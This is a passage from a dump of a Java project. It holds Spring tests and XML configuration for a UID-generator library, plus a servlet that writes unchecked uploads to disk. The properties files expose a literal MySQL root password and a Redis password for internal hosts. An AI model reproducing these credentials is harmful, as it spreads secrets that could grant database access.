    "content": "/**\n * \n */\npackage com.myzmds.ecp.core.uid.idleaf;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.TimeUnit;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.jdbc.core.BatchPreparedStatementSetter;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.transaction.TransactionStatus;\nimport org.springframework.transaction.support.TransactionCallback;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport com.myzmds.ecp.core.uid.leaf.SegmentServiceImpl;\n\n/**\n * @author sunff\n * \n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"file:src/test/resources/idleaf/app-leaf.xml\"})\npublic class LeafSegmentServiceTest {\n    \n    @Autowired\n    @Qualifier(\"segmentService\")\n    private SegmentServiceImpl segmentServiceImpl;\n    \n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n    \n    private BlockingQueue<Long> queue = new LinkedBlockingQueue<Long>(1000);\n    \n    @Test\n    public void synGetId() {\n        int i =0;\n        while (true) {\n            System.out.println(++i +\" ：\" + segmentServiceImpl.getId());\n        }\n    }\n    \n    @Autowired\n    private TransactionTemplate transactionTemplate;\n    \n    public void batchInsert() {\n        \n        List<Long> list = new ArrayList<Long>(1000);\n        for (Long i = 0L; i < 1000L; i++) {\n            list.add(i);\n        }\n        try {\n            TimeUnit.SECONDS.sleep(3);\n        } catch (InterruptedException e1) {\n            // TODO Auto-generated catch block\n            e1.printStackTrace();\n        }\n        try {\n            \n            final List<Long> insertedList = list;\n            \n            transactionTemplate.execute(new TransactionCallback<Integer>() {\n                \n                @Override\n                public Integer doInTransaction(TransactionStatus status) {\n                    jdbcTemplate.batchUpdate(\"insert into id_test(p_id) values(?)\", new BatchPreparedStatementSetter() {\n                        @Override\n                        public void setValues(PreparedStatement ps, int i)\n                            throws SQLException {\n                            Long insertedId = insertedList.get(i);\n                            ps.setLong(1, insertedId);\n                        }\n                        @Override\n                        public int getBatchSize() {\n                            return insertedList.size();\n                        }\n                    });\n                    return insertedList.size();\n                }\n            });\n            \n            System.out.println(\"oooolk\");\n            \n        } catch (Exception e) {\n            \n        }\n    }\n    \n    public void getId() {\n        new Thread() {\n            @Override\n            public void run() {\n                List<Long> list = new ArrayList<Long>(10000);\n                while (true) {\n                    try {\n                        Long id = queue.take();\n                        // jdbcTemplate.update(\"insert into id_test(p_id) values(?)\",\n                        // l);\n                        // System.out.println(\"id=\" + id);\n                        \n                        if (list.size() == 10000) {\n                            \n                            final List<Long> insertedList = list;\n                            \n                            transactionTemplate.execute(new TransactionCallback<Integer>() {\n                                \n                                @Override\n                                public Integer doInTransaction(TransactionStatus status) {\n                                    jdbcTemplate.batchUpdate(\"insert into id_test(p_id) values(?)\", new BatchPreparedStatementSetter() {\n                                        @Override\n                                        public void setValues(PreparedStatement ps, int i)\n                                            throws SQLException {\n                                            Long insertedId = insertedList.get(i);\n                                            ps.setLong(1, insertedId);\n                                        }\n                                        @Override\n                                        public int getBatchSize() {\n                                            return insertedList.size();\n                                        }\n                                    });\n                                    return insertedList.size();\n                                }\n                            });\n                            list.clear();\n                            \n                        } else {\n                            list.add(id);\n                        }\n                    } catch (InterruptedException e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n                \n            }\n        }.start();\n        \n        int count = 0;\n        while (true) {\n            // System.out.println(idLeafService.getId());\n            try {\n                queue.put(segmentServiceImpl.getId());\n                count++;\n                if (count % 1000 == 0) {\n                    System.out.println(\"current count no is \" + count);\n                }\n            } catch (InterruptedException e) {\n                // TODO Auto-generated catch block\n                e.printStackTrace();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/idleaf/SegmentServiceImplTest.java",
    "content": "package com.myzmds.ecp.core.uid.idleaf;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.myzmds.ecp.core.uid.leaf.SegmentServiceImpl;\n\nimport net.sourceforge.groboutils.junit.v1.MultiThreadedTestRunner;\nimport net.sourceforge.groboutils.junit.v1.TestRunnable;\n\n/**\n * @类名称 SegmentServiceImplTest.java\n * @类描述 <pre>Segment多线程并发测试</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年3月6日 下午4:42:59\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年3月6日             \n *     ----------------------------------------------\n * </pre>\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"file:src/test/resources/idleaf/app-leaf.xml\"})\npublic class SegmentServiceImplTest extends Thread {\n    \n    @Autowired\n    SegmentServiceImpl segmentServiceImpl;\n    \n    @Test\n    public void testSych() {\n        TestRunnable runner = new TestRunnable() {\n            @Override\n            public void runTest()\n                throws Throwable {\n                System.out.println(Thread.currentThread().getName() + \":\" + segmentServiceImpl.getId());\n            }\n        };\n        // 开13，23，43个线程进行测试,step设置为10\n        int runnerCount = 43;\n        TestRunnable[] trs = new TestRunnable[runnerCount];\n        for (int i = 0; i < runnerCount; i++) {\n            trs[i] = runner;\n        }\n        \n        MultiThreadedTestRunner mttr = new MultiThreadedTestRunner(trs);\n        try {\n            mttr.runTestRunnables();\n        } catch (Throwable e) {\n            e.printStackTrace();\n        }\n        \n    }\n    \n    class LeafThread extends Thread {\n        @Override\n        public void run() {\n            System.out.println(this.getName() + \"的id：\" + segmentServiceImpl.getId());\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/app-zk.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n\txmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n\t\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n\t\t\n\t<!-- zk -->\n\t<bean class=\"com.myzmds.ecp.core.uid.worker.ZkWorkerIdAssigner\" >\n\t\t<property name=\"interval\" value=\"3000\" />\n\t\t<property name=\"pidHome\" value=\"F:\\dump\" />\n\t\t<property name=\"zkAddress\" value=\"172.16.51.123:2181\" />\n\t\t<property name=\"pidPort\" value=\"60982\" />\n\t</bean>\n\t\n\t<!-- redis\n\t<bean class=\"com.myzmds.ecp.core.uid.RedisConfig\" />\n\t<bean class=\"com.myzmds.ecp.core.uid.worker.RedisWorkIdAssigner\" >\n\t\t<property name=\"interval\" value=\"3000\" />\n\t\t<property name=\"pidHome\" value=\"F:\\dump\" />\n\t\t<property name=\"pidPort\" value=\"60982\" />\n\t</bean>-->\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/idleaf/app-leaf.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n\txmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:aop=\"http://www.springframework.org/schema/aop\" \n\txsi:schemaLocation=\"http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n\t\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n\t<!-- 加载配置文件 -->\n\t<context:property-placeholder ignore-unresolvable=\"true\" location=\"classpath*:uid/uid-default.properties,classpath*:config/uid.properties\" />\n\n\t<bean id=\"dataSource\" class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n\t\t<property name=\"driverClassName\" value=\"${jdbc.driver}\" />\n\t\t<property name=\"url\" value=\"${jdbc.url}\" />\n\t\t<property name=\"username\" value=\"${jdbc.username}\" />\n\t\t<property name=\"password\" value=\"${jdbc.password}\" />\n\t</bean>\n\n\t<bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<bean id=\"transactionTemplate\" class=\"org.springframework.transaction.support.TransactionTemplate\">\n\t\t<property name=\"transactionManager\" ref=\"transactionManager\" />\n\t\t<!--ISOLATION_DEFAULT 表示由使用的数据库决定 -->\n\t\t<property name=\"isolationLevelName\" value=\"ISOLATION_DEFAULT\" />\n\t\t<property name=\"propagationBehaviorName\" value=\"PROPAGATION_REQUIRED\" />\n\t\t<!-- <property name=\"timeout\" value=\"30\"/> -->\n\t</bean>\n\n\t<bean id=\"segmentService\" class=\"com.myzmds.ecp.core.uid.leaf.SegmentServiceImpl\">\n\t\t<constructor-arg name=\"jdbcTemplate\" ref=\"jdbcTemplate\" />\n\t\t<constructor-arg name=\"bizTag\" value=\"order\" />\n\t\t<property name=\"asynLoadingSegment\" value=\"true\" />\n\t</bean>\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/idleaf/app-springId.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n\txmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n\t\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n\t<!-- 加载配置文件 -->\n\t<context:property-placeholder ignore-unresolvable=\"true\" location=\"classpath*:uid/uid-default.properties,classpath*:config/uid.properties\" />\n\n\t<bean id=\"dataSource\" class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n\t\t<property name=\"driverClassName\" value=\"${jdbc.driver}\" />\n\t\t<property name=\"url\" value=\"${jdbc.url}\" />\n\t\t<property name=\"username\" value=\"${jdbc.username}\" />\n\t\t<property name=\"password\" value=\"${jdbc.password}\" />\n\t</bean>\n\n\t<bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<bean id=\"transactionTemplate\" class=\"org.springframework.transaction.support.TransactionTemplate\">\n\t\t<property name=\"transactionManager\" ref=\"transactionManager\" />\n\t\t<!--ISOLATION_DEFAULT 表示由使用的数据库决定 -->\n\t\t<property name=\"isolationLevelName\" value=\"ISOLATION_DEFAULT\" />\n\t\t<property name=\"propagationBehaviorName\" value=\"PROPAGATION_REQUIRED\" />\n\t</bean>\n\t\n\t<bean id=\"columnMaxValueIncrementer\" abstract=\"true\" class=\"com.myzmds.ecp.core.uid.spring.ColumnMaxValueIncrementer\">\n\t\t<constructor-arg name=\"jdbcTemplate\" ref=\"jdbcTemplate\" />\n\t\t<property name=\"paddingLength\" value=\"6\"></property>\n\t</bean>\n\n\t<bean id=\"orderIncrementer\" parent=\"columnMaxValueIncrementer\">\n\t\t<constructor-arg name=\"bizTag\" value=\"order\" />\n\t</bean>\n\t\n\t<bean id=\"productNoIncrementer\" parent=\"columnMaxValueIncrementer\">\n\t\t<constructor-arg name=\"bizTag\" value=\"productNo\" />\n\t</bean>\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/redis.properties",
    "content": "redis.hostName=172.16.51.123\nredis.port=6379\nredis.password=ecp\n# \\u8fde\\u63a5\\u8d85\\u65f6\\u65f6\\u95f4\nredis.timeout=10000\n\n#\\u6700\\u5927\\u7a7a\\u95f2\\u6570\nredis.maxIdle=300\n#\\u63a7\\u5236\\u4e00\\u4e2apool\\u53ef\\u5206\\u914d\\u591a\\u5c11\\u4e2ajedis\\u5b9e\\u4f8b,\\u7528\\u6765\\u66ff\\u6362\\u4e0a\\u9762\\u7684redis.maxActive,\\u5982\\u679c\\u662fjedis 2.4\\u4ee5\\u540e\\u7528\\u8be5\\u5c5e\\u6027\nredis.maxTotal=1000\n#\\u6700\\u5927\\u5efa\\u7acb\\u8fde\\u63a5\\u7b49\\u5f85\\u65f6\\u95f4\\u3002\\u5982\\u679c\\u8d85\\u8fc7\\u6b64\\u65f6\\u95f4\\u5c06\\u63a5\\u5230\\u5f02\\u5e38\\u3002\\u8bbe\\u4e3a-1\\u8868\\u793a\\u65e0\\u9650\\u5236\\u3002\nredis.maxWaitMillis=1000\n#\\u8fde\\u63a5\\u7684\\u6700\\u5c0f\\u7a7a\\u95f2\\u65f6\\u95f4 \\u9ed8\\u8ba41800000\\u6beb\\u79d2(30\\u5206\\u949f)\nredis.minEvictableIdleTimeMillis=300000\n#\\u6bcf\\u6b21\\u91ca\\u653e\\u8fde\\u63a5\\u7684\\u6700\\u5927\\u6570\\u76ee,\\u9ed8\\u8ba43\nredis.numTestsPerEvictionRun=1024\n#\\u9010\\u51fa\\u626b\\u63cf\\u7684\\u65f6\\u95f4\\u95f4\\u9694(\\u6beb\\u79d2) \\u5982\\u679c\\u4e3a\\u8d1f\\u6570,\\u5219\\u4e0d\\u8fd0\\u884c\\u9010\\u51fa\\u7ebf\\u7a0b, \\u9ed8\\u8ba4-1\nredis.timeBetweenEvictionRunsMillis=30000\n#\\u662f\\u5426\\u5728\\u4ece\\u6c60\\u4e2d\\u53d6\\u51fa\\u8fde\\u63a5\\u524d\\u8fdb\\u884c\\u68c0\\u9a8c,\\u5982\\u679c\\u68c0\\u9a8c\\u5931\\u8d25,\\u5219\\u4ece\\u6c60\\u4e2d\\u53bb\\u9664\\u8fde\\u63a5\\u5e76\\u5c1d\\u8bd5\\u53d6\\u51fa\\u53e6\\u4e00\\u4e2a\nredis.testOnBorrow=true\n#\\u5728\\u7a7a\\u95f2\\u65f6\\u68c0\\u67e5\\u6709\\u6548\\u6027, \\u9ed8\\u8ba4false\nredis.testWhileIdle=true"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/cached-uid-baidu.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n\t<!-- UID generator -->\n\t<bean id=\"disposableWorkerIdAssigner\" class=\"com.myzmds.ecp.core.uid.worker.DisposableWorkerIdAssigner\" />\n\n\t<bean id=\"cachedUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.CachedUidGenerator\">\n\t\t<property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\" />\n\n\t\t<!-- 以下为可选配置, 如未指定将采用默认值 -->\n\t\t<!-- RingBuffer size扩容参数, 可提高UID生成的吞吐量. --> \n\t\t<!-- 默认:3， 原bufferSize=8192, 扩容后bufferSize= 8192 << 3 = 65536 -->\n\t\t<!--<property name=\"boostPower\" value=\"3\"></property>--> \n\t\t\n\t\t<!-- 指定何时向RingBuffer中填充UID, 取值为百分比(0, 100), 默认为50 -->\n\t\t<!-- 举例: bufferSize=1024, paddingFactor=50 -> threshold=1024 * 50 / 100 = 512. -->\n\t\t<!-- 当环上可用UID数量 < 512时, 将自动对RingBuffer进行填充补全 -->\n\t\t<!--<property name=\"paddingFactor\" value=\"50\"></property>--> \n\t\t\n\t\t<!-- 另外一种RingBuffer填充时机, 在Schedule线程中, 周期性检查填充 -->\n\t\t<!-- 默认:不配置此项, 即不实用Schedule线程. 如需使用, 请指定Schedule线程时间间隔, 单位:秒 -->\n\t\t<!--<property name=\"scheduleInterval\" value=\"60\"></property>--> \n\t\t\n\t\t<!-- 拒绝策略: 当环已满, 无法继续填充时 -->\n\t\t<!-- 默认无需指定, 将丢弃Put操作, 仅日志记录. 如有特殊需求, 请实现RejectedPutBufferHandler接口(支持Lambda表达式) -->\n\t\t<!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n\t\t\n\t\t<!-- 拒绝策略: 当环已空, 无法继续获取时 -->\n\t\t<!-- 默认无需指定, 将记录日志, 并抛出UidGenerateException异常. 如有特殊需求, 请实现RejectedTakeBufferHandler接口 -->\n\t\t<!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n\t\t\n\t</bean>\n\n\t<!-- Import mybatis config -->\n\t<import resource=\"classpath:/uid/mybatis-uid.xml\" />\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/default-uid-baidu.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n    <!-- UID generator -->\n    <bean id=\"disposableWorkerIdAssigner\" class=\"com.myzmds.ecp.core.uid.worker.DisposableWorkerIdAssigner\"/>\n\n    <bean id=\"defaultUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator\" lazy-init=\"false\">\n        <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\"/>\n\n        <!-- Specified bits & epoch as your demand. No specified the default value will be used -->\n        <property name=\"timeBits\" value=\"29\"/>\n        <property name=\"workerBits\" value=\"21\"/>\n        <property name=\"seqBits\" value=\"13\"/>\n        <property name=\"epochStr\" value=\"2017-12-25\"/>\n    </bean>\n\n    <!-- Import mybatis config -->\n    <import resource=\"classpath:/uid/mybatis-uid.xml\"/>\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/mybatis-uid.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:tx=\"http://www.springframework.org/schema/tx\" \n\txmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\n\thttp://www.springframework.org/schema/tx  http://www.springframework.org/schema/tx/spring-tx.xsd\n    http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\">\n\t<!-- Spring annotation扫描 -->\n\t<context:component-scan base-package=\"com.myzmds.ecp.core.uid\" />\n\t<bean class=\"com.myzmds.ecp.core.uid.worker.dao.WorkerNodeDAO\" />\n\t<!-- 加载配置文件 -->\n\t<context:property-placeholder ignore-unresolvable=\"true\" location=\"classpath*:uid/uid-default.properties,classpath*:config/uid.properties\" />\n\t<bean id=\"dataSource\" class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n\t\t<property name=\"driverClassName\" value=\"${jdbc.driver}\" />\n\t\t<property name=\"url\" value=\"${jdbc.url}\" />\n\t\t<property name=\"username\" value=\"${jdbc.username}\" />\n\t\t<property name=\"password\" value=\"${jdbc.password}\" />\n\t</bean>\n\t<bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\t\n\t<!-- 事务相关配置 -->\n\t<tx:annotation-driven transaction-manager=\"transactionManager\" order=\"1\" />\n\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/simple-uid-baidu.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\t\n    <!-- UID generator -->\n    <bean id=\"simpleWorkerIdAssigner\" class=\"com.myzmds.ecp.core.uid.worker.SimpleWorkerIdAssigner\"/>\n\n    <bean id=\"defaultUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator\" lazy-init=\"false\" scope=\"prototype\" >\n        <property name=\"workerIdAssigner\" ref=\"simpleWorkerIdAssigner\"/>\n        <!-- Specified bits & epoch as your demand. No specified the default value will be used -->\n        <property name=\"timeBits\" value=\"40\"/>\n        <property name=\"workerBits\" value=\"10\"/>\n        <property name=\"seqBits\" value=\"13\"/>\n        <property name=\"epochStr\" value=\"2016-09-20\"/>\n    </bean>\n\t<bean id=\"baiduUidStrategy\" class=\"com.myzmds.ecp.core.uid.extend.strategy.BaiduUidStrategy\" />\n\t<bean class=\"com.myzmds.ecp.core.uid.UidContext\">\n\t\t<property name=\"uidStrategy\" ref=\"baiduUidStrategy\" />\n\t</bean>\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/uid-default.properties",
    "content": "#datasource db info\njdbc.driver=com.mysql.jdbc.Driver\njdbc.url=jdbc:mysql://172.16.51.52:3306/test?characterEncoding=UTF-8&useSSL=false\njdbc.username=root\njdbc.password=5hMEUO9LQFOtSU3\njdbc.maxActive=2\n\n#datasource base\ndatasource.defaultAutoCommit=true\ndatasource.initialSize=2\ndatasource.minIdle=0\ndatasource.maxWait=5000\ndatasource.testWhileIdle=true\ndatasource.testOnBorrow=true\ndatasource.testOnReturn=false\ndatasource.validationQuery=SELECT 1 FROM DUAL\ndatasource.timeBetweenEvictionRunsMillis=30000\ndatasource.minEvictableIdleTimeMillis=60000\ndatasource.logAbandoned=true\ndatasource.removeAbandoned=true\ndatasource.removeAbandonedTimeout=120\ndatasource.filters=stat\n\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/resources/uid/zk-uid-baidu.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n    <!-- UID generator -->\n    <bean id=\"zkWorkerIdAssigner\" class=\"com.myzmds.ecp.core.uid.worker.ZkWorkerIdAssigner\">\n    \t<property name=\"zkAddress\" value=\"172.16.51.123:2181\" />\n    </bean>\n\n    <bean id=\"defaultUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator\" lazy-init=\"false\" scope=\"prototype\" >\n        <property name=\"workerIdAssigner\" ref=\"zkWorkerIdAssigner\"/>\n\n        <!-- Specified bits & epoch as your demand. No specified the default value will be used -->\n        <property name=\"timeBits\" value=\"40\"/>\n        <property name=\"workerBits\" value=\"10\"/>\n        <property name=\"seqBits\" value=\"13\"/>\n        <property name=\"epochStr\" value=\"2016-09-20\"/>\n    </bean>\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/.gitignore",
    "content": "# Windows image file caches\nThumbs.db\nehthumbs.db\n\n# Folder config file\nDesktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# =========================\n# Operating System Files\n# =========================\n\n# OSX\n# =========================\n\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Thumbnails\n._*\n\n# Files that might appear on external disk\n.Spotlight-V100\n.Trashes\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_upload_jsp_servlet</artifactId>\n\t<version>1.0</version>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n\t\t<groupId>log4j</groupId>\n\t\t<artifactId>log4j</artifactId>\n\t\t<version>1.2.17</version>\n\t</dependency>\n    <dependency>\n\t\t<groupId>javax.servlet</groupId>\n\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t<version>3.1.0</version>\n\t</dependency>\n\t<!-- <dependency>\n\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t<artifactId>httpclient</artifactId>\n\t\t<version>4.4.1</version>\n\t</dependency> -->\n\t<dependency>\n\t\t<groupId>commons-httpclient</groupId>\n\t\t<artifactId>commons-httpclient</artifactId>\n\t\t<version>3.1</version>\n\t</dependency>\n  </dependencies>\n  \n  <build>\n    <finalName>jsp_upload</finalName>\n    <plugins>\n        <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <version>3.8.1</version>\n            <configuration>\n                <source>8</source> <!-- 对应你的JDK版本 -->\n                <target>8</target>\n                <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n            </configuration>\n        </plugin>\n    </plugins>\n</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/java/com/google/servlet/FileLoadServlet.java",
    "content": "package com.google.servlet;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.log4j.Logger;\n\n// @WebServlet(name = \"FileLoadServlet\", urlPatterns = {\"/fileload\"})\npublic class FileLoadServlet extends HttpServlet {\n\t\n\tprivate static Logger logger = Logger.getLogger(FileLoadServlet.class);\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1302377908285976972L;\n\n\t@Override\n\tprotected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tlogger.info(\"------------ FileLoadServlet ------------\");\n\t\t\n\t\tif (request.getContentLength() > 0) {\n\t\t\t\n\t           InputStream inputStream = null;\n\t           FileOutputStream outputStream = null;\n\t           \n\t\t\ttry {\n\t\t\t\t\n\t\t\t\tinputStream = request.getInputStream();\n\t\t\t\t// 给新文件拼上时间毫秒，防止重名\n\t\t\t\tlong now = System.currentTimeMillis();\n\t\t\t\tFile file = new File(\"c:/\", \"file-\" + now + \".txt\");\n\t\t\t\tfile.createNewFile();\n\t\t\t\t\n\t\t\t\toutputStream = new FileOutputStream(file);\n\t\t\t\t\n\t\t\t\tbyte temp[] = new byte[1024];\n\t\t\t\tint size = -1;\n\t\t\t\twhile ((size = inputStream.read(temp)) != -1) { // 每次读取1KB，直至读完\n\t\t\t\t\toutputStream.write(temp, 0, size);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tlogger.info(\"File load success.\");\n\t\t\t} catch (IOException e) {\n\t\t\t\tlogger.warn(\"File load fail.\", e);\n\t\t\t\trequest.getRequestDispatcher(\"/fail.jsp\").forward(request, response);\n\t\t\t} finally {\n\t\t\t\toutputStream.close();\n\t\t\t\tinputStream.close();\n\t\t\t}\n\t\t}\n\t\t\n\t\trequest.getRequestDispatcher(\"/succ.jsp\").forward(request, response);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/java/com/google/tool/FileLoadClient.java",
